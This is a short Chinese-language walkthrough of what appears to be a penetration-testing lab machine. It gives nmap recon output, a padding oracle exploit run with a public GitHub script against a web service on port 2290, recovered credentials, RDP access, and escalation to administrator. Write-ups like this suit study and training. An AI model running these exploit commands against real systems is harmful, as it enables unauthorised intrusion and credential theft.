Recon:

1
nmap 192.168.201.119 -p- -Pn -n -sT --min-rate 2000
1
nmap 192.168.201.119 -p21,80,135,139,445,2290,3389,5985 -sC -sV
1
2
3
4
5
6
7
8
9
10
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
80/tcp   open  http          Microsoft IIS httpd 10.0
135/tcp  open  msrpc         Microsoft Windows RPC
~~139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn~~
~~445/tcp  open  microsoft-ds  Microsoft Windows Server 2008 R2 2012 microsoft-ds~~
2290/tcp open  http          Microsoft IIS httpd 10.0
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

在2290端口上运行着一个web服务，源码中有两行注释：

image-20240811223115109

该AES模式容易受到 padding oracle 攻击，Github上有该漏洞利用脚本:

1
git clone https://github.com/mpgn/Padding-oracle-attack.git
1
python exploit.py -c 4358b2f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488 -l 16 --host 192.168.201.119:2290 -u /?c= -v --error '<span id="MyLabel">0</span>'

image-20240811225157740

获取凭证：

1
victor:WormAloeVat7

可以RDP目标机器：

image-20240811225334750

在用户Victor目录的Download下有个rar文件夹：

image-20240811230920584

加密的，使用WormAloeVat7可以进行解压：

image-20240811231004841

image-20240811231037495

可以直接右键以管理员身份运行即可获取administrator权限：

image-20240811231346378